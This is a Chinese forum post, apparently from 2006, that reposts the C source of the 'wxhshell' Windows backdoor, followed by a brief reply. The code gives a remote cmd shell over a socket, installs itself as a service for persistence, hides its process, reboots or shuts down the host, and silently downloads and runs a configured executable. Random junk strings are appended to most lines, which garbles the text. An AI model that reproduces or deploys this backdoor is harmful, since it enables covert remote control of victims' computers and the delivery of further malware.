  cmd[j]=0; v :6`(5  
  break; *3S,XMS{O  
  } (G#)[0<fX  
  j++; pSE"] N  
    } wMt?yc:X  
Y)c9]1qly  
  // 下载文件 X]C-y,r[M  
  if(strstr(cmd,"http://")) { kul&m|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~;UK/OZ  
  if(DownloadFile(cmd,wsh)) )uwpeq$j7l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8@6:UR.)  
  else mEz&:A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j,6dGb  
  } pA(@gisg  
  else { ;]Y.2 J  
KNIYar*3  
    switch(cmd[0]) { vq(@B  
  "4`h -Y  
  // 帮助 c#u-E6  
  case '?': { %pL ,A5M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J^n(WnM*F  
    break; J%j#gyTU  
  } 0@*rp7   
  // 安装 72~)bu  
  case 'i': { f]T#q@|lE  
    if(Install()) aODOc J N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |;OM,U2  
    else ZN%$k-2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'V 1QuSd  
    break; ],qG!,V  
    } ^YenS6`F  
  // 卸载 ~`T(mh',  
  case 'r': { ZzzQXfA#  
    if(Uninstall()) @L{HT8utK3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +;:i,`Lmg  
    else (d4zNYK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^tc@bsUF  
    break; $w+g%y)  
    } WZ6!VE {  
  // 显示 wxhshell 所在路径 BI4 p3-  
  case 'p': { ^4B6IF*  
    char svExeFile[MAX_PATH]; yK"U:X  
    strcpy(svExeFile,"\n\r"); c{|soc[#  
      strcat(svExeFile,ExeFile); #(ANyU(#e  
        send(wsh,svExeFile,strlen(svExeFile),0); =ZzhH};aX  
    break; r A0[y  
    } a(d'iAU8^  
  // 重启 r6Pi ZgR  
  case 'b': { cg1<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9e=F  
    if(Boot(REBOOT)) $qg5m,1?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *bmk(%g  
    else { A){kitx-i)  
    closesocket(wsh); I0m/   
    ExitThread(0); /A|ofAr)  
    } "^22 Y}VB  
    break; ;\4}Hcg  
    } 5xTm]  
  // 关机 _V-@95fK  
  case 'd': { ;[g v-H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +Nc|cj  
    if(Boot(SHUTDOWN)) 7lR(6ka&/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1Re7/  
    else { EJdq"6S  
    closesocket(wsh); t!D=oBCro  
    ExitThread(0); fm&l 0  
    } [#3:CDT  
    break; HmbTV(lC  
    } G dL\  
  // 获取shell m]7Y )&3  
  case 's': { cCyg&% zsT  
    CmdShell(wsh); qLA  
    closesocket(wsh); Fypqf|  
    ExitThread(0); MI',E?#yB  
    break; 4\Y=*X  
  } [RC|W%<Z>  
  // 退出 <`-"K+e!J  
  case 'x': { CEqfsKrsxE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1hi^  
    CloseIt(wsh); )z7. S"U  
    break; P63z8^y  
    } if#$wm%  
  // 离开 -7m;rD4J  
  case 'q': { KGP2,U6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7-W(gD!`  
    closesocket(wsh); w>/KQ> \"  
    WSACleanup(); >[ lj8n  
    exit(1); j1**Ch/  
    break;  78qf  
        } LP=!u~?  
  } =E4nNL?  
  } 3,N7Nfe  
>tib21*  
  // 提示信息 !l.Rv_o<O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sE>'~ +1_O  
} d@8_?G}  
  } 05|t  
pA+Qb.z5z  
  return; -lb}}z+/  
} X903;&Cim  
_I5p 7X  
// shell模块句柄 ' nf"u  
int CmdShell(SOCKET sock) >a_K:O|AJ  
{ 1;ZEuO  
STARTUPINFO si; ?em)om  
ZeroMemory(&si,sizeof(si)); <KHB/7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O}IS{/^7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bsqoR8  
PROCESS_INFORMATION ProcessInfo; Q6Jb]>g\H  
char cmdline[]="cmd"; G!0|ocE}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O}#*U+j  
  return 0; M 80Us.  
} iDHmS6_c  
r)U9u 0  
// 自身启动模式 pxDZ}4mOh  
int StartFromService(void) &(Xp_3PO  
{ \Cx3^ i X  
typedef struct ->8n.!F}  
{ nqiy)ZN#R  
  DWORD ExitStatus; Y*w< ~m  
  DWORD PebBaseAddress; -pg7>vOq  
  DWORD AffinityMask; `I6)e{5t  
  DWORD BasePriority; 2eyvY|:Q>  
  ULONG UniqueProcessId; sI*( MhU  
  ULONG InheritedFromUniqueProcessId; Z!LzyCVl  
}   PROCESS_BASIC_INFORMATION; Szwa2IdI.  
mUnn k`v  
PROCNTQSIP NtQueryInformationProcess; yKDg ~zsh  
2Q1* Xq{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .JQR5R |Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W%vh7>.  
\?g)jY  
  HANDLE             hProcess; H26 j]kY  
  PROCESS_BASIC_INFORMATION pbi; x%cKTpDh!  
#H7(dT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l9P~,Ec4''  
  if(NULL == hInst ) return 0; ukG1<j7.  
1AoBsEnd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e^Jy-?E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f"k/j?e*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |$bZO`^  
$2;YJjz(  
  if (!NtQueryInformationProcess) return 0; n-H0cm  
H3 `%#wQ0j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L6l~!bEc  
  if(!hProcess) return 0; m#%5H  
]!0*k#i_.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =_ -@1 1a  
5%tIAbGW  
  CloseHandle(hProcess); nwO;>Qr  
7p u*/W~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FUq@ dUv  
if(hProcess==NULL) return 0; 9W'#4  
.lTGFeJqZ4  
HMODULE hMod; p(f)u]1`  
char procName[255]; 3y 0`G8P'h  
unsigned long cbNeeded; mnu7Y([2>  
E37`g}ZS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D5AKOM!`  
nSd?P'PFg  
  CloseHandle(hProcess); X)~JX}-L  
I:mJWe  
if(strstr(procName,"services")) return 1; // 以服务启动 ]IyC  
FA4bv9:hi  
  return 0; // 注册表启动 v,p/r )E  
} vQBfT% &Q-  
WdIr 3  
// 主模块 hnE@+(d=qJ  
int StartWxhshell(LPSTR lpCmdLine) kFuaLEJi  
{ gI\J sN  
  SOCKET wsl; 3+n&Ya1  
BOOL val=TRUE; \B2=E  
  int port=0; d@] 0 =Ax  
  struct sockaddr_in door; PX]A1Kt?  
z KJ6j]m  
  if(wscfg.ws_autoins) Install(); )G*H l^Z;4  
eJ7A.O  
port=atoi(lpCmdLine); 3n6_yK+D  
*h-nI=  
if(port<=0) port=wscfg.ws_port; W.0dGUi*  
VQqEsnkz  
  WSADATA data; UN,@K9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !7 *X{D v  
4fpz;2%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~>#=$#V   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :Q&8DC#]  
  door.sin_family = AF_INET; J0|/g2%0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q/%f2U%4:  
  door.sin_port = htons(port); 6S`eN\s  
9^Wj<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5F <zW-;  
closesocket(wsl); M^g"U`  
return 1; %&z9^}Vd[  
} ,ci tzh  
,)oUdwR k  
  if(listen(wsl,2) == INVALID_SOCKET) { <=jE,6_|  
closesocket(wsl); dc%+f  
return 1; Is?0q@  
} T4\,b  
  Wxhshell(wsl); trgj]|?M  
  WSACleanup(); DSET!F;PG  
Kw-E%7gh4c  
return 0; ^5"s3Qn  
)+cP8$n6L  
} | L fH,6  
H;IG\k6C  
// 以NT服务方式启动 4b6$Mj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (*"R"Y  
{ &?YQVwsN  
DWORD   status = 0; -Ux/ Ug@  
  DWORD   specificError = 0xfffffff; f4X?\eGT  
})T_D\2M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xmq~:fcU=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^*}L9Ot~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M^+~r,D1u  
  serviceStatus.dwWin32ExitCode     = 0; = #ocp  
  serviceStatus.dwServiceSpecificExitCode = 0; 8 +uOYNXsA  
  serviceStatus.dwCheckPoint       = 0; *^" 4 )  
  serviceStatus.dwWaitHint       = 0; fn;7Nf7{  
ZJ+q<n_4}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j.ANBE96>  
  if (hServiceStatusHandle==0) return; 2r[Q$GPM<  
fqvA0"tv  
status = GetLastError(); N}\$i&Vi  
  if (status!=NO_ERROR) 3go!P])  
{ rq2XFSXn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o.Q |%&1  
    serviceStatus.dwCheckPoint       = 0; Isoqs(Oi  
    serviceStatus.dwWaitHint       = 0; <qHwY.  
    serviceStatus.dwWin32ExitCode     = status; s u![ST(  
    serviceStatus.dwServiceSpecificExitCode = specificError; &)\0mpLK9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JJ7-$h'0q  
    return; QD / | zi  
  } 8(uxz84ce  
n;O 3.2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PO |p53  
  serviceStatus.dwCheckPoint       = 0; m}F1sRkdQ  
  serviceStatus.dwWaitHint       = 0; @c7 On)sy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ##R]$-<4dQ  
} G^ n|9)CVW  
"o[\Aec:  
// 处理NT服务事件,比如:启动、停止 8+gSn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G ytI_an8  
{ > -k$:[l  
switch(fdwControl) \ m 2[  
{ 97$y,a{6  
case SERVICE_CONTROL_STOP: ScM2_k`D  
  serviceStatus.dwWin32ExitCode = 0; F"a,[i,[W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1a#wUd3  
  serviceStatus.dwCheckPoint   = 0; zPhNV8k-  
  serviceStatus.dwWaitHint     = 0; zif()i   
  { Wq"pKI#x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ap_(/W  
  } SznNvd <  
  return; I 9tdr<  
case SERVICE_CONTROL_PAUSE: qYbod+UX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^#g GA_H  
  break; c5O1h8  
case SERVICE_CONTROL_CONTINUE: NIV&)`w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4my8 p Fk  
  break; FC vR  
case SERVICE_CONTROL_INTERROGATE: H(n_g QAX  
  break; J,P7k$t2vv  
}; (K0FWTmm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KOw Ew~  
} C7)].vUN  
l^"gpO${K  
// 标准应用程序主函数 + Uj~zx@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GAz;4pUZ  
{ ( 8H "'  
|urohua  
// 获取操作系统版本 dR $@vDm  
OsIsNt=GetOsVer(); {Ivu"<`L3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &8~U&g6C  
*:GoS?Ma  
  // 从命令行安装 dL[mX .j"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5r`g6@  
}ZR3  
  // 下载执行文件 gzl_  "j  
if(wscfg.ws_downexe) { shP,-Vs #  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (QqKttL:  
  WinExec(wscfg.ws_filenam,SW_HIDE); =BNmuAY7  
} =]etw  
R},mq&f5  
if(!OsIsNt) { ?vM{9!M  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hyc19|  
HideProc(); W)j/[  
StartWxhshell(lpCmdLine); FDpNM\SR1l  
} DAc jx:~  
else /z5j.TMs  
  if(StartFromService()) qRB&R$  
  // 以服务方式启动 umD .  
  StartServiceCtrlDispatcher(DispatchTable); `[Z?&'CRQ  
else oh,Nu_!  
  // 普通方式启动 IsnC_"f  
  StartWxhshell(lpCmdLine); se7_:0+w  
+gK7`:v4O*  
return 0; dHd{9ftyF  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五